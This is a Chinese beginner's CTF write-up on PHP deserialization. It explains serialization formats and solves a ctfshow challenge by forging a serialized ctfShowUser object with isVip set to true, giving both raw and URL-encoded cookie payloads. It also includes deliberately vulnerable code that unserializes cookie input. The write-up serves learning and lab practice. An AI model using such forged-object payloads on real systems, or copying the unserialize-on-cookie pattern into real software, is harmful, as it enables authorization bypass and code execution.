(sql注入太难了,所以先跳到反序列化,我这块也是第一次接触所以又要从头开始,什么魔术方法pop链之类的啥都不懂,但好处是又能从小白的视角看问题了)
一.前置知识
1.什么是序列化
一句话理解:
把"程序里的对象 / 数据结构" → 变成"可以存储或传输的字符串/字节流",依旧看例子:
php
$user = [
"name" => "admin",
"isLogin" => true
];
经过序列化之后是这么输出的:
php
a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}
这里还要讲一下这里面冒出来的字母是啥:

这里true就是返回1,false就是返回0,然后数字就是字符串长度。
这样做的目的:
-
存到 cookie
-
存到 session
-
存到 文件 / 数据库
-
通过 HTTP 传给前端 / 其他服务
2.什么是反序列化
同样的一句话理解:
把"字符串/字节流" → 还原回"程序里的对象 / 数据结构"【相当于倒一下】
php
$data = 'a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}';
$user = unserialize($data);
3.有啥用
这里还是举个例子:
php
<?php
class User {
public $isAdmin = false;
function __destruct() {
if ($this->isAdmin) {
system("cat flag");
}
}
}
$data = $_GET['data'];
unserialize($data);
正常逻辑:反序列化一个 User 对象 然后$isAdmin的值默认为false
然后在这里攻击者就可以构造一个序列化字符串:
php
O:4:"User":1:{s:7:"isAdmin";b:1;}
通过get方式传给服务器,那么就会发生:
PHP 把字符串还原成一个 User 对象
$isAdmin = true
脚本结束 → 自动调用 __destruct()
system("cat flag") 执行
flag 到手
二:具体题目
放出的代码是这样的:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
// 定义一个用户类
class ctfShowUser{
// 公共属性:用户名,默认值是 xxxxxx
public $username='xxxxxx';
// 公共属性:密码,默认值是 xxxxxx
public $password='xxxxxx';
// 是否是 VIP,默认 false(不是 VIP)
public $isVip=false;
// 检查当前对象是不是 VIP
public function checkVip(){
// $this 指的是"当前这个对象"
// 返回对象里的 isVip 属性
return $this->isVip;
}
// 登录函数,只做校验,不修改 isVip
public function login($u,$p){
// 判断:
// 1. 对象里的 username 是否等于用户传进来的 $u
// 2. 对象里的 password 是否等于用户传进来的 $p
// === 是全等比较(值和类型都要一样)
// 返回 true 或 false
return $this->username === $u && $this->password === $p;
}
// VIP 一键拿 flag 的函数
public function vipOneKeyGetFlag(){
// 如果当前对象是 VIP
if($this->isVip){
// 使用全局变量 $flag(来自 flag.php)
global $flag;
// 输出 flag
echo "your flag is ".$flag;
}else{
// 如果不是 VIP
echo "no vip, no flag";
}
}
}
// 从 GET 参数中获取用户名和密码(攻击者可控)
$username = $_GET['username'];
$password = $_GET['password'];
// 只要 username 和 password 都存在,就继续执行
if(isset($username) && isset($password)){
// ★★★ 核心漏洞 ★★★
// 从 Cookie 中取 user,然后直接反序列化
// Cookie 是用户可控的
// 所以这里存在"反序列化漏洞"
$user = unserialize($_COOKIE['user']);
// 调用 login 方法,用 GET 传进来的用户名和密码做校验
if($user->login($username,$password)){
// 如果登录校验通过,再检查是否是 VIP
if($user->checkVip()){
// 如果是 VIP,就输出 flag
$user->vipOneKeyGetFlag();
}
}else{
// 登录校验失败
echo "no vip,no flag";
}
}
这串代码的关键首先就是username 和password ,直接给出了默认都为xxxxxx,并且是通过get方式传参,那么最开始便是在URL里面输入username和password这两个值:
css
?username=xxxxxx&password=xxxxxx
然后后面的关键就是如何写出user序列化后的代码,这里先给出来再一一解释:
php
O:11:"ctfShowUser":3:{
s:8:"username";s:6:"xxxxxx";
s:8:"password";s:6:"xxxxxx";
s:5:"isVip";b:1;
}
1.O ------ Object(对象)
php
O → 这是一个对象
PHP 知道要还原的是 对象,不是数组
2:"ctfShowUser" ------ 类名
css
ctfShowUser → 11 个字符
类名必须完全一样,不然反序列化出来的是"未知类",方法根本调不了。
3.属性数量
css
:3:
表示这个对象里有 3 个属性,username,password,$isVip
4.{ ... } ------ 属性内容
这里的关键是isVIP:
css
s:5:"isVip";
b:1;
b:1代表True,这样才能表示是真的VIP
这里其实可以简写,就是不写username和password,原因得看之前的代码:
php
public function login($u,$p){
return $this->username === $u && $this->password === $p;
}
用人话讲就是如果 对象自己的用户名 等于 我们传进来的用户名 并且对象自己的密码 等于 我们传进来的密码那就返回 true,那么假设我们就传一个:
php
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
那么实际上其实是这样的:
php
$user->username = 'xxxxxx'; // 默认值
$user->password = 'xxxxxx'; // 默认值
$user->isVip = true;
然后我们的url里的password和username都为默认值,那么刚好一一对应,最后就能echo flag

注意要**对序列化字符串进行URL编码,**即我们最后的payload为:
php
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
或者:
php
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
要编码的原因是序列化字符串中包含:
css
: ; " { }
这些在 HTTP Cookie 中是分隔符 / 非法字符,不编码会被浏览器或服务器截断
三:总结
第一次接触反序列化,最大的感受其实不是"技术有多复杂",而是代码真的会把我们伪造的数据当成"真实对象"来使用 。
这道题并没有用到魔术方法、POP 链这些进阶技巧,而是最基础、也最容易被忽略的一点:反序列化 + 默认值 + 逻辑校验。
从序列化字符串的格式,到对象属性如何影响程序判断,再到为什么要 URL 编码,每一步都是在回答一个问题------
"程序到底是怎么一步步相信我的?"
理解了这一点,反序列化就不再是"玄学漏洞",而是一条清晰可追踪的执行流程。
后面无论是魔术方法还是 POP 链,本质也都是在这条思路上继续往前走。